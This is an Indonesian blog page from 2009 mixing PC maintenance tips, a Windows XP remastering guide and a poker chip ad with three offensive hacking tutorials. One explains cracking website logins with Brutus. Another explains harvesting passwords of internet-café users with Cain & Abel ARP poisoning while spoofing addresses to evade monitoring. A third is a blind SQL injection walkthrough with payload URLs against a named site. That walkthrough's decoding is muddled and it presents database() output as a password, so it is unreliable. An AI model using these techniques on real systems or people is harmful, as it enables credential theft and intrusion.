Social Icons

Pages

Senin, 23 Februari 2009

Faktor Internal Penyebab Komputer Lambat



1.Banyak aplikasi yang terinstal


Jika ingin menginstal software sebaiknya yang penting dan dibutuhkan saja, jangan terlalu banyak menginstal software yang tidak digunakan. Hal ini secara otomatis akan mengambil space komputer sehingga pada akhirnya akan mengganggu kerja komputer itu sendiri. Jika sudah terlanjur terinstal, anda dapat menghapusnya dengan cara meng-uninstall aplikasi tersebut dari Control Panel.

2.Banyak file sampah


Ini mungkin yang sering dilupakan banyak orang yaitu tidak mengetahui file-file sampah yang seharusnya dibuang. Yang dimaksud file-file sampah adalah: file pada Recycle Bin, cookies, histroy IE, file bak, file temporary, dll).

Ketika menghapus file yang tidak digunakan, tidak secara otomatis file tersebut akan terhapus dari hardisk. Sebenarnya masih tersimpan dalam folder Recycle Bin, dan jika kita ingin mengambil file tersebut masih bisa. Hapuslah file-file dalam Recycle Bin karena seluruh file tersebut masih mengambil ruang hardisk. Pastikan Anda telah memilih file-file yang memang sudah tidak digunakan lagi, karena ketika mengosongkan seluruh file pada Recycle Bin maka file-file akan terhapus secara permanen dan tidak dapat dikembalikan lagi.


Cookies juga merupakan file sampah yang harus dibersihkan. File tersebut akan selalu muncul ketika sedang melakukan koneksi ke jaringan internet. Anda bisa menghapus cookies dalam Internet Options pada masing-masing browser (IE, Mozilla, Netscape, dll) yang digunakan. Selain cookies, History juga mempengaruhi sistem komputer. Semakin banyak History yang tersimpan semakin besar pula memori yang dibutuhkan.
File-file History secara otomatis akan muncul ketika melakukan koneksi ke jaringan internet. Apabila tidak dibersihkan akan mempengaruhi kerja komputer. Bersihkan file history pada menu Tools > Internet Option pada masing-masing browser yang digunakan.

Ada bebeberapa aplikasi yang secara otomatis menyimpan file cadangan (backup) seperti bak, backup, dan lain-lain. Jadi ketika menyimpan sebuah file, maka file lama akan tetap ada dengan format yang berbeda yaitu file.BAK. Bersihkan file-file ganda yang tidak digunakan, namun harus dipastikan bahwa file terakhir tersimpan adalah file yang akan dipakai.


3.Banyak aplikasi yang terbaca ketika Start Up


Beberapa software ketika pertama kali diinstal menyediakan pilihan yaitu: ikon ditambahkan pada Desktop dan ikon ditambahkan pada Taskbar Quick Launch. Sebaiknya tidak perlu meletakkn ikon program tersebut dalam taskbar karena ketika pertama kali sistem operasi bekerja (Start Up) maka akan membutuhkan waktu lama untuk mengaktifkan program tersebut. Memang secara sepintas akan memudahkan kita menjalankan program tersebut karena tinggal mengklik ikonnya dalam taskbar, namun sebenarnya menjadi beban sistem komputer karena harus menyediakan memori tersendiri.

Hal ini akan memperlambat kerja komputer. Aturlah beberapa aplikasi yang memang dibutuhkan dengan cara mengatur konfigurasi. Jalankan menu Start kemudian pilih Run, ketikkan msconfig. Nonaktifkan aplikasi yang tidak diperlukan ketika Start Up.


4.Manajemen Sistem tidak teratur


Komputer yang sering digunakan juga memerlukan penyegaran, salah satunya adalah dengan cara melakukan Scandisk dan Defragmentasi secara rutin minimal satu bulan sekali. Idealnya satu minggu sekali, tergantung frekuensi penggunaan komputer. Meskipun sesuatu yang sepele, namun sering dilupakan banyak orang. Lakukan Scandisk secara rutin untuk memperbaiki hardisk yang sering crash akibat litrik mati secara mendadak atau hang.

Selain melakukan Scandisk, yang tak kalah pentingnya adalah Defragmentasi secara berkala. Hal ini sangat berguna ketika tingkat penggunaan komputer tinggi. File-file perlu ditempatkan sebagaimana mestinya agar ruang kosong tidak berantakan. Jika ruang penempatan file berantakan bisa mengakibatkan kerja komputer lambat.


5.Pilih Kinerja atau Penampilan


Bagi pengguna Windows XP sebaiknya memperhatikan hal ini agar kerja komputer lebih cepat. Memang penampilan Windows XP sangat bagus, ikon-ikon yang ditampilkan berwarna-warni dengan efek mengkilap. Perlu diketahui, tampilan windows yang bagus tersebut membutuhkan memori yang tidak sedikit. Makanya jangan heran bila semakin lama kerja komputer semakin lambat.


Windows XP menyediakan dua pilihan yaitu Adjust for Best Appereance atau Adjust for Best. Jika memilih Adjust for best app maka lebih mengutamakan penampilan sehingga kinerja komputer mememerlukan memori yang lebih. Hal ini berpengaruh pada kinerja komputer. Sedangkan jika memilih Adjust for best performance maka lebih mengutamakan kinerja komputer dibandingkan penampilan sehingga tampilan Windows XP akan nampak seperti biasa tanpa efek bayangan ataupun mengkilap seperi windows versi sebelumnya.


6.Proses Shutdown tidak sesuai perosedur


Komputer yang sangat lambat bekerja membuat kita kesal dibuatnya, makin hari kian lambat saja. Kadang-kadang komputer langsung hang secara mendadak ketika sedang asyik bekerja. Kita akan mematikan komputer tersebut dengan cara menekan tombol Restart atau Booting. Hal ini dikerenakan kita tidak bisa mematikan komputer melalui proses Shutdown karena semua tombol keyboard tidak berfungsi.


Apabila sering mematikan komputer melalui tombol Booting, lama-lama bisa mengakibatkan sistem operasi tidak berjalan normal dan hardsik akan mengalami kerusakan (bad sector). Hal ini akan memperparah keadaan karena file-file sistem yang ada pada bad sector tidak dapat terbaca, sehingga komputer sering mengalami mati mendadak (hang).

Lanjutannya...

Crack Password Website dengan BRUTUS



Penjebolan terhadap sebuah server web dengan penggunaan Brutus-AET sudah sering dibahas. Tetapi tidak ada salahnya jika penulis menambahkan pada tutorial ini sebagai referensi. Sampai sekarang Brutus masih menjadi tool andalan para hacker (sistem analis juga….) untuk mendapatkan username dan password valid yang dapat menjadi akses ke web tersebut.


Penggunaanya juga cukup mudah karena menggunakan GUI (Graphic User Interface). Isi alamat IP di kolom Target, pilih Type atau service yang didukup oleh web sepeti HTTP, FTP, POP3, Telnet dan SMB. Klik start dan biarkan si brutus melakukan tugasnya. Jika anda sudah mengetahui nama user target, cukup isikan ID Login di user file dan ceklis Single User. Konfigurasi dan metode penjebolan password dapat anda tentukan sendiri.


Lanjutannya...

Panen Password Jaringan Lokal Dengan Cain & Abel

Cain & Abel adalah sebuah program yang sangat mengagumkan. Jika anda menjalankannya di warnet. Anda hanya perlu duduk dan melihat password-password bermunculan di monitor anda. Tergantung apa yang dilakukan user di warnet tersebut. ). Cain & Abel dapat menangkap paket, menyaring password dan aktivitas lain yang anda lakukan didalam sebuah jaringan lokal. Itulah alasan mengapa sangat tidak aman melakukan login dan transaksi online di warnet,LAN (Local Area NetWork), WLAN (Wireless LAN).


Ok. Saya asumsikan anda telah menginstall Cain & Abel dan WinPcap(Windows Packet Capture, tersedia satu paket pada setup). Atur terlebih dahulu konfigurasi Cain & Abel. Klik Configure dan anda akan masuk ke configure dialog. Secara default program ini akan mendeteksi ethernet card komputer yang anda gunakan.


Masuk ke bagian APR(Arp Poison Routing) dan pilih Use Arp Request Packet (More Network Traffic). Karena untuk menangkap password user, kita perlu mendapatkan apa yang dikirimkan komputer user ke server bukan apa yang dikirimkan oleh server ke komputer user. User Internet Explorer yang melakukan Login ke sebuah website umumnya password yang dikirim tidak terenkripsi. Disarankan untuk memilih Use spoofed IP and MAC addresses dan mengisinya dengan IP komputer lain yang terdapat didalam satu jaringan. Anda tentu tidak ingin menggunakan Use Real IP and MAC addresses karena server didalam suatu jaringan umumnya juga terdapat program network monitoring. IP address lokal anda akan tercatat dan ketahuan ketika semua paket didalam jaringan ternyata melalui komputer anda.



Setelah selesai mengatur konfigurasi, klik Start/Stop Sniffer dan Start/Stop APR. Lalu di bagian sub menu Sniffer pilih Host dan klik add to list untuk Scan IP Lokal, tipe ethernet card dan MAC address semua komputer yang ada pada jaringan. Pilih APR ,klik add to list dan masukkan IP korban serta IP server untuk membajak paket komputer korban dengan meracuni ARP routing.


Saatnya anda melakukan aktivitas lain sembari menunggu para korban melakukan login ke website, e-mail, facebook, friendter, icq, FTP dan lain lain. Fungsi Cain & Abel terlalu banyak untuk dijelaskan secara satu-persatu pada artikel ini. Jika kita mengutak-atik lebih jauh dan mempelajari kegunaannya, Tidak salah jika Cain & Abel disebut sebagai “Program wajib para Hacker dan analis keamanan jaringan komputer”.




SELAMAT MENCOBA

Lanjutannya...

BUAT MASTER CD WINDOWS XP DAN MENAMBAH DRIVER AHCI AGAR SUPPORT HARDISK SATA

Adapun yang kita perlukan/syarat untuk remastering windows adalah :

1. Source Windows ataupun CD Installer Windows

2. Net Framework, download disini

3. nLite, download disini

4. Driver AHCI agar windows XP support hardisk SATA, download disini


Langkah berikutnya

1. buat satu direktori untuk mengcopy cd windows XP anda

2. extrak driver AHCI di salah satu direktori

3. Install Net Framework

4. Install nLite


Nah setelah semua syarat terpenuhi, sekarang kita akan melakukan proses remastering windows dan

menambah driver ahci


Langkah2nya adalah :


1. Buka/jalankan Aplikasi nLite tersebut. Pada simulasi kali ini, saya memilih Indonesia sebagai bahasanya. Kemudian klik button “Lanjut”.


2. Klik Button “Browse” untuk menentukan lokasi dimana master windows yang akan kita remaster-kan.


3. Setelah itu akan terlihat apa nama produk, versi, bahasa dan ukuran dari windows yang akan kita remaster-kan. Setelah itu klik button “Lanjut”


4. Setelah itu akan keluar tampilan Preset, yang berfungsi menggunakan settingan

remastering sebelumnya. Pada simulasi kali ini, saya asumsikan kita belum pernah

melakukan proses remastering sebelumnya, jadi tidak ada settingan yang tersimpan.

Sehingga jika muncul tampilan seperti di bawah ini, klik import untuk memasukkan

driver AHCI agar windows xp bias di install di hardisk SATA, setelah itu klik Button

“Lanjut”


5. Setelah itu akan keluar tampilan seperti di bawah ini, yaitu opsi apakah ingin melakukan integrasi, menghapus komponen, mengatur konfigurasi setup, dan opsi membuat bootable ISO. Pada simulasi kali ini, saya memilih semua opsi, KECUALI integrasi. Karena fokus kita kali ini adalah bukan menambahkan/menyisipkan, melainkan melakukan penghapusan komponen dan melakukan konfigurasi. Setelah opsi dipilih, klik button “Lanjut”


6. Akan keluar tampilan seperti di bawah ini, untuk tampilan window kompatibilitas, kita bisa mengabaikannya dengan mengklik tombol “Batal” pada window kompatibilitas.

Adapun maksud dari window kompatibilitas ini bisa kita lihat dari capture gambar di

bawah ini.


7. Selanjutnya kita akan dihadapkan dengan window seperti di bawah ini. Window ini berisi komponen-komponen yang akan kita buang. Dengan men-Checklist opsi yang ada, berarti kita akan men-drop komponen-komponen tersebut. Penting untuk diingat, bahwa penjelasan dari masing-masing komponen ada tertera di kolom paling kanan ketika kursor kita berada pada opsi yang kita pilih dan KOMPONEN YG AKAN KITA BUANG RELATIF ANTAR TIAP ORANG, TERGANTUNG DENGAN KEBUTUHAN MASING-MASING.


Sebagai Contoh saya akan men-drop wordpad pada opsi Aplikasi. Karena menurut saya fungsi wordpad sudah bisa digantikan dengan notepad, ditambah lagi saya memang berniat menginstall Office nantinya, sehingga wordpad saya rasa tidak perlu. Kalo Anda ingin mengikuti langkah2 saya dalam men-drop komponen-komponen apa saja, yah silahkan…


8. Berikut ini komponen-komponen yang saya hapus (ditandai dengan opsi yang dichecklist):

Untuk Opsi Aplikasi :


Untuk Opsi Bahasa (untuk opsi bahasa ini saya men-checklist semuanya):


Untuk Opsi Drivers :


Untuk Opsi Dukungan Hardware, saya tidak men-checklist satu komponen pun.

Untuk Opsi Jaringan, saya HANYA men-checklist komponen Bimbingan Koneksi Internet, MSN Explorer, Piranti Komunikasi, Windows Messenger :


Untuk Opsi Keyboard, saya men-checklist semuanya KECUALI United Kingdom Keyboard dan United States-International Keyboard.


Untuk Opsi Layanan, saya men-checklist komponen-komponen berikut, yaitu : Layanan fax, Layanan Indexing, Logon Sekunder, Otomatis Memutakhirkan, Pelaporan Kesalahan, Remote Registry, Waktu Windows.

Untuk opsi Multimedia :


Untuk Opsi Sistem Operasi, perlu diperhatikan bahwa komponen Out Of Box Experience (OOBE), sebaiknya jangan di check list, Terkecuali jika windows yang akan kita remastering adalah versi corporate windows.:


Untuk Opsi Direktori (saya men-checklist semua komponen):


9. Selesai sudah tahap pembuangan/penghapusan komponen. Klik Tombol Lanjut.Kita akan dihadapkan dengan opsi Unattended, yang baerarti di sini kita bisa menanamkan serial number, dan konfigurasi-konfigrasi lainnya(seperti user, networking, timezone, Desktop, dan lain-lain) sehingga windows hasil remastering ini nantinya tidak meminta serial number dan konfigurasi-konfigurasi lainnya ketika diinstall, karena semuanya sudah kita embedded-kan.


10. Setelah melakukan konfigurasi unattended sesuai dengan keinginan kita, lalu klik button “Lanjut” sehingga akan keluar tampilan seperti di bawah ini. Lakukanlah pemilihan opsi dan settingan sesuai dengan kebutuhan Anda.


11. Klik button “Lanjut” , kemudian akan keluar tampilan seperti di bawah ini, yaitu opsi Tweaks yang berfungsi untuk melakukan penanaman settingan registry dan aneka service yang akan distartup, sebagai contoh kita mensetting agar key CTRL+ALT+DEL tidak bisa dieksekusi sewaktu proses masuk dan settingan lainnya.


12. Setelah Opsi Tweaks ini selesai kita konfigurasi, klik-lah button “Lanjut” untuk

memproses windows yang kita remastering-kan tadi menjadi files installasi. Ilustrasinya kurang lebih seperti gambar di bawah ini :

Akan keluar tampilan seperti di bawah ini. Klik-lah button “Yes” untuk memulai pemrosesan :


Setelah button “Yes” di-klik, maka tampilannya kurang lebih seperti di bawah ini yang menandakan proses membuat ke file installasi :


Setelah pemrosesan selesai, dimana ilustrasinya kurang lebih seperti gambar di bawah ini. Dapat kita amati bahwa file installer windows XP SP2 hasil remastering kita sekarang HANYA berukuran 170,91 MB. Coba bayangin yang mana ukuran file installer aslinya adalah 574,20 MB berkurang secara drastis menjadi 170,91 MB. Kecil sekali bukan, yang mana berarti kita telah membuang 403,29 MB komponen dan service yang tidak kita perlukan yang hanya menghabisin space dan memory PC kita.


13. Klik-lah button “Lanjut”. Telah selesailah tahap pemrosesan ke bentuk files installasi. Sekarang kita akan membuat image dari files installer hasil remastering tadi. Yup, kita akan membuat ISO bootable dari installer hasil remastering tadi. Lakukanlah perubahan seperlunya, seperti Label dan lain-lain. Kemudian klik-lah button Buat ISO untuk memulai proses pembuatan ISO file installer windows SP2 hasil remastering yang telah kita lakukan.

Perhatikan gambar di bawah ini:


Selesai sudah proses remastering windows yang kita lakukan. Sekarang kita sudah memiliki installer Windows XP SP2 yang hanya berukuran mini, yaitu 170,91 MB. Ditambah lagi dengan keunggulan-keunggulan yang dimilikinya, seperti proses installasi hanya 8-15 menit saja, serta support dengan hardisk SATA serta unattended installation yang menyenangkan. Thanx alot nLite, akhirnya PC-PC tua ini sudah bisa dikelola dengan baik dan muantabz.




Lanjutannya...

Blind SQL Injection

Saya akan mencoba menjelaskan semudah mungkin tentang Blind SQL Injection yang saya anggap rumit banget... Bukannya sok ngajarin atau apalah, disini saya hanya berusaha memberikan apa yang saya punya dan saya bisa...

Oke, bermula dari kangennya saya pada yayank ampe akhirnya saking kangennya tangan ini bergerak untuk mencari dan mencari (HeHeHe…maksa banget alasannya…). Akhirnya tanpa sengaja saya nyangkut ke situs luar...Anggep aja situs tersebut bernama http://www.YogyaFreeMakassar.com/news.php?id=90232

Nah pada target saya kali ini, saya menggunakan sql commands mid() yang hampir sama fungsinya dengan substring()...

Langsung aja saya ketik

http://www.YogyaFreeMakassar.com/news.php?id=90232 and 1=0

dan ternyata hasilnya adalah FALSE

http://www.YogyaFreeMakassar.com/news.php?id=90232 and 1=1

bernilai TRUE

Nah setelah saya yakin kalo web tersebut vulnerable maka saya injeksi a.k.a suntik (hehehe...)

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,1)=CHAR(65)

Nah penjelasannya supaya semua pada ngerti (hehehehe...orang saya juga baru belajar, sok ngasih tau mode ON BANGET...) saya akan coba menjelaskan arti dan makna dari baris URL dan statement diatas...

mid(user()1,1) artinya dalam kasus ini saya tidak mengetahui value atau nilai dari user itu apa, maka dalam "()" saya sengaja kosongkan.

1,1 adalah urutan dari value tersebut.

CHAR adalah perubah dalam desimal

65 adalah value decimal tersebut dan 65 adalah "A" dalam ASCII jadi… saya akan mengawalinya dengan 65

Nah kalo dah begini apa yang akan terjadi…??? Dalam tampilan web tersebut akan terjadi true atau false...Nah dalam kasus ini false, berarti saya harus memasukkan nilai yang lain agar menjadi true...

TRUE

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,1)=CHAR(65)

TRUE

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,1)=CHAR(66)

Ternyata pada kasus ini web yang di isengi ini memiliki true (enaknya kalau webnya kek gini...HeHeHe...) dan nilai tersebut adalah 65 dan 66 (A dan B dalam ASCII) Cari nilai kedua dan caranya adalah...

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,2)=CHAR(66,65)

Nah 1,1 nya dah diganti dengan 1,2...Jadi kalo dah dapet diganti aja jadi 1,3...1,4 dan seterusnya...

Nah akhirnya saya mendapat nilai true pada angka ke 66 (A dalam ASCII)

Lanjutin aja sampe dapet nilai atau value user itu habis tersisa (Jaaat banget main habis tersisa…!!!)

dan sampai akhirnya menjadi

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid(user(),1,4)=CHAR(65,66,66,72)

kita urut hasil kita (serasa seperti sekolah main angka²an…HeHeHe)

65 = A

66 = B

66 = A

72 = H

Ternyata username-nya adalah ABAH (HeHeHe... Kebetulan yang sangat dipaksakan). Nah untuk cari passwordnya saya tinggal mengganti value user() menjadi database() dan lakukan semua tahap diatas dari pertama sampe dapet value true...

Contoh:

http://www.YogyaFreeMakassar.com/news.php?id=90232 and mid

mid(database(),1,13)=CHAR(83,65,89,65,78,71,72,69,76,76,72,65,71)

Jadi password yang didapat adalah...

83 = S

65 = A

89 = Y

65 = A

78 = N

71 = G

72 = H

69 = E

76 = L

76 = L

72 = H

65 = A

71 = G

Jadi username dan passwordnya adalah ABAH dan SAYANGHELLHAG...HaHaHa…enak ya kalau gini WaKaKa…

Ternyata Blind SQL Injection gak nyebel-nyebelin amat (Tapi ngebetein...). Nah katanya neh...cara ini cukup efektif untuk web yang telah menfilter SQL Injection...Bener gak tuh? Gak tau dah... Ilmu saya belom nyampe situ...

Berikut adalah konversi ascii ke decimal

Char Code Description

9 Tab

10 Line feed

13 Carriage return

' ' 32 Space

! 33 Exclamation mark

" 34 Quotation mark

# 35 Number sign

$ 36 Dollar sign

% 37 Percent sign

& 38 Ampersand

' 39 Apostrophe

( 40 Left parenthesis

) 41 Right parenthesis

* 42 Asterisk

+ 43 Plus sign

, 44 Comma

- 45 Hyphen-minus

. 46 Full stop

/ 47 Solidus

0 48 Digit zero

1 49 Digit one

2 50 Digit two

3 51 Digit three

4 52 Digit four

5 53 Digit five

6 54 Digit six

7 55 Digit seven

8 56 Digit eight

9 57 Digit nine

: 58 Colon

; 59 Semicolon

< 60 Less-than sign

= 61 Equals sign

> 62 Greater-than sign

? 63 Question mark

@ 64 Commercial at

A 65 Latin capital letter A

B 66 Latin capital letter B

C 67 Latin capital letter C

D 68 Latin capital letter D

E 69 Latin capital letter E

F 70 Latin capital letter F

G 71 Latin capital letter G

H 72 Latin capital letter H

I 73 Latin capital letter I

J 74 Latin capital letter J

K 75 Latin capital letter K

L 76 Latin capital letter L

M 77 Latin capital letter M

N 78 Latin capital letter N

O 79 Latin capital letter O

P 80 Latin capital letter P

Q 81 Latin capital letter Q

R 82 Latin capital letter R

S 83 Latin capital letter S

T 84 Latin capital letter T

U 85 Latin capital letter U

V 86 Latin capital letter V

W 87 Latin capital letter W

X 88 Latin capital letter X

Y 89 Latin capital letter Y

Z 90 Latin capital letter Z

[ 91 Left square bracket

92 Reverse solidus

] 93 Right square bracket

^ 94 Circumflex accent

_ 95 Low line

` 96 Grave accent

a 97 Latin small letter a

b 98 Latin small letter b

c 99 Latin small letter c

d 100 Latin small letter d

e 101 Latin small letter e

f 102 Latin small letter f

g 103 Latin small letter g

h 104 Latin small letter h

i 105 Latin small letter i

j 106 Latin small letter j

k 107 Latin small letter k

l 108 Latin small letter l

m 109 Latin small letter m

n 110 Latin small letter n

o 111 Latin small letter o

p 112 Latin small letter p

q 113 Latin small letter q

r 114 Latin small letter r

s 115 Latin small letter s

t 116 Latin small letter t

u 117 Latin small letter u

v 118 Latin small letter v

w 119 Latin small letter w

x 120 Latin small letter x

y 121 Latin small letter y

z 122 Latin small letter z

{ 123 left curly bracket

| 124 Vertical line

} 125 Right curly bracket

~ 126 Tilde

a 127 (not used)

? 128 Euro sign Currency Symbols

? 129 (not used)

? 130 Single low-9 quotation mark General Punctuation

? 131 Latin small letter f with hook Latin Extended-B

? 132 Double low-9 quotation mark General Punctuation

? 133 Horizontal ellipsis General Punctuation

? 134 Dagger General Punctuation

? 135 Double dagger General Punctuation

? 136 Modifier letter circumflex accent Spacing Modifier Letters

? 137 Per mille sign General Punctuation

? 138 Latin capital letter S with caron Latin Extended-A

? 139 Single left-pointing angle quotation mark General Punctuation

? 140 Latin capital ligature OE Latin Extended-A

? 141 (not used)

? 142 Latin capital letter Z with caron Latin Extended-A

? 143 (not used)

? 144 (not used)

? 145 Left single quotation mark General Punctuation

? 146 Right single quotation mark General Punctuation

? 147 Left double quotation mark General Punctuation

? 148 Right double quotation mark General Punctuation

? 149 Bullet General Punctuation

? 150 En dash General Punctuation

? 151 Em dash General Punctuation

? 152 Small tilde Spacing Modifier Letters

? 153 Trade mark sign Letterlike Symbols

? 154 Latin small letter s with caron Latin Extended-A

? 155 Single right-pointing angle quotation mark General Punctuation

? 156 Latin small ligature oe Latin Extended-A

? 157 (not used)

? 158 Latin small letter z with caron Latin Extended-A

? 159 Latin capital letter Y with diaeresis Latin Extended-A

160 No-break space

? 161 Inverted exclamation mark

? 162 Cent sign

? 163 Pound sign

? 164 Currency sign

? 165 Yen sign

? 166 Broken bar

? 167 Section sign

? 168 Diaeresis

? 169 Copyright sign

? 170 Feminine ordinal indicator

? 171 Left-pointing double angle quotation mark

? 172 Not sign

? 173 Soft hyphen

? 174 Registered sign

? 175 Macron

? 176 Degree sign

? 177 Plus-minus sign

? 178 Superscript two

? 179 Superscript three

? 180 Acute accent

? 181 Micro sign

? 182 Pilcrow sign

? 183 Middle dot

? 184 Cedilla

? 185 Superscript one

? 186 Masculine ordinal indicator

? 187 Right-pointing double angle quotation mark

? 188 Vulgar fraction one quarter

? 189 Vulgar fraction one half

? 190 Vulgar fraction three quarters

? 191 Inverted question mark

? 192 Latin capital letter A with grave

? 193 Latin capital letter A with acute

? 194 Latin capital letter A with circumflex

? 195 Latin capital letter A with tilde

? 196 Latin capital letter A with diaeresis

? 197 Latin capital letter A with ring above

? 198 Latin capital letter AE

? 199 Latin capital letter C with cedilla

? 200 Latin capital letter E with grave

? 201 Latin capital letter E with acute

? 202 Latin capital letter E with circumflex

? 203 Latin capital letter E with diaeresis

? 204 Latin capital letter I with grave

? 205 Latin capital letter I with acute

? 206 Latin capital letter I with circumflex

? 207 Latin capital letter I with diaeresis

? 208 Latin capital letter Eth

? 209 Latin capital letter N with tilde

? 210 Latin capital letter O with grave

? 211 Latin capital letter O with acute

? 212 Latin capital letter O with circumflex

? 213 Latin capital letter O with tilde

? 214 Latin capital letter O with diaeresis

? 215 Multiplication sign

? 216 Latin capital letter O with stroke

? 217 Latin capital letter U with grave

? 218 Latin capital letter U with acute

? 219 Latin capital letter U with circumflex

? 220 Latin capital letter U with diaeresis

? 221 Latin capital letter Y with acute

? 222 Latin capital letter Thorn

? 223 Latin small letter sharp s

? 224 Latin small letter a with grave

? 225 Latin small letter a with acute

? 226 Latin small letter a with circumflex

? 227 Latin small letter a with tilde

? 228 Latin small letter a with diaeresis

? 229 Latin small letter a with ring above

? 230 Latin small letter ae

? 231 Latin small letter c with cedilla

? 232 Latin small letter e with grave

? 233 Latin small letter e with acute

? 234 Latin small letter e with circumflex

? 235 Latin small letter e with diaeresis

? 236 Latin small letter i with grave

? 237 Latin small letter i with acute

? 238 Latin small letter i with circumflex

? 239 Latin small letter i with diaeresis

? 240 Latin small letter eth

? 241 Latin small letter n with tilde

? 242 Latin small letter o with grave

? 243 Latin small letter o with acute

? 244 Latin small letter o with circumflex

? 245 Latin small letter o with tilde

? 246 Latin small letter o with diaeresis

? 247 Division sign

? 248 Latin small letter o with stroke

? 249 Latin small letter u with grave

? 250 Latin small letter u with acute

? 251 Latin small letter with circumflex

? 252 Latin small letter u with diaeresis

? 253 Latin small letter y with acute

? 254 Latin small letter thorn

? 255 Latin small letter y with diaeresis

Lanjutannya...

Tips Agar Orang Lain Tidak Bisa Copy atau Cut Data Dari Harddisk Kita ke Flashdisc

Ini cumen skedar share ajah ... ;)


jadi siapapun ga akan bisa ngambil data dari komputer lu ...

tapi komputer lu bisa ngambil data dari si Flashdisk itu...

ini tanpa program ato software khusus , cumen ngutik ngutik Regedit sedikit :D

selama gw pake ginian, ga pernah ada efek samping buat komputer (pake obat kalee...)
paling buat yang nyolokin Flashdisk aja kebingungan dia ga bisa ngambil data di komputer ;D

ini gw nyoba di Win XP SP1, SP2, SP3, + Win VISTA.. 8)

maap kalo :repost: sayah mah cumen share ajah

caranya begini ni ...

1. masuk REGEDIT (pencet Windows+R)

2. TrusCari ----> HKEY_LOCALMACHINE\SYSTEM\CurrentControlSet\Control

3. Di folder CONTROL, ketik -> Edit>New>Key terus namain folder baru itu ----> "StorageDevicePolicies"

4. trus di folder "StorageDevicePolicies", ketik Edit>New>Dword (32-bit)

5. trus key yang baru itu namain : "WriteProtect"

6. Klik 2x Key WriteProtect-nya, trus ganti Value Data jadi 1

7. Restart deh ....

nanti kalo berhasil trus ada mo ada yang ngambil data jadi kaya gini ni


nanti kalo mo dibalikin lagi jadi normal ...

tinggal balikin aja Value Data dari key yang namanya "WriteProtect" itu jadi 0

Lanjutannya...

 
Jual Chip Poker Paket ID
25M = Rp. 75.000
50M = Rp. 140.000
100M = Rp. 250.000

Kontak Person:
YM = adriantojusuf
SMS Only = 081244438282
Info lengkap..!